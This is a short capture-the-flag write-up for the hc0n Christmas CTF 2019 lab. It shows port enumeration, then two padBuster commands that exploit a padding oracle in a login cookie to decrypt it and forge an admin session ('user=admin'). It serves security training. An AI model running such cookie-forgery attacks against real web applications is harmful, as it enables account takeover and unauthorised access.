2020-07-15 15:43:14 +00:00
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# hc0n Christmas CTF - 2019
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![](../../.gitbook/assets/41d0cdc8d99a8a3de2758ccbdf637a21.jpeg)
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## Enumeration
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2021-11-30 13:50:20 +00:00
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I started **enumerating the machine using my tool** [**Legion**](https://github.com/carlospolop/legion):
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2020-07-15 15:43:14 +00:00
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2021-10-18 11:21:18 +00:00
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![](<../../.gitbook/assets/image (244).png>)
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2020-07-15 15:43:14 +00:00
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2021-10-18 11:21:18 +00:00
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There are 2 ports open: 80 (**HTTP**) and 22 (**SSH**)
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2020-07-15 15:43:14 +00:00
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In the web page you can **register new users**, and I noticed that **the length of the cookie depends on the length of the username** indicated:
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2021-10-18 11:21:18 +00:00
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![](<../../.gitbook/assets/image (245).png>)
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2020-07-15 15:43:14 +00:00
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2021-10-18 11:21:18 +00:00
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![](<../../.gitbook/assets/image (246).png>)
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2020-07-15 15:43:14 +00:00
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2021-11-30 13:50:20 +00:00
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And if you change some **byte** of the **cookie** you get this error:
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2020-07-15 15:43:14 +00:00
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2021-10-18 11:21:18 +00:00
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![](<../../.gitbook/assets/image (247).png>)
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2020-07-15 15:43:14 +00:00
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2021-08-30 22:36:25 +00:00
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With this information and[ **reading the padding oracle vulnerability**](../../cryptography/padding-oracle-priv.md) I was able to exploit it:
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2020-07-15 15:43:14 +00:00
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```bash
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perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy"
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```
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2021-10-18 11:21:18 +00:00
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![](<../../.gitbook/assets/image (248).png>)
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2020-07-15 15:43:14 +00:00
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2021-10-18 11:21:18 +00:00
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![](<../../.gitbook/assets/image (249).png>)
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2020-07-15 15:43:14 +00:00
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**Set user admin:**
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```bash
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perl ./padBuster.pl http://10.10.231.5/index.php "GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" 8 -encoding 0 -cookies "hcon=GVrfxWD0mmxRM0RPLht/oUpybgnBn/Oy" -plaintext "user=admin"
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```
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2021-10-18 11:21:18 +00:00
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![](<../../.gitbook/assets/image (250).png>)
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2020-07-15 15:43:14 +00:00
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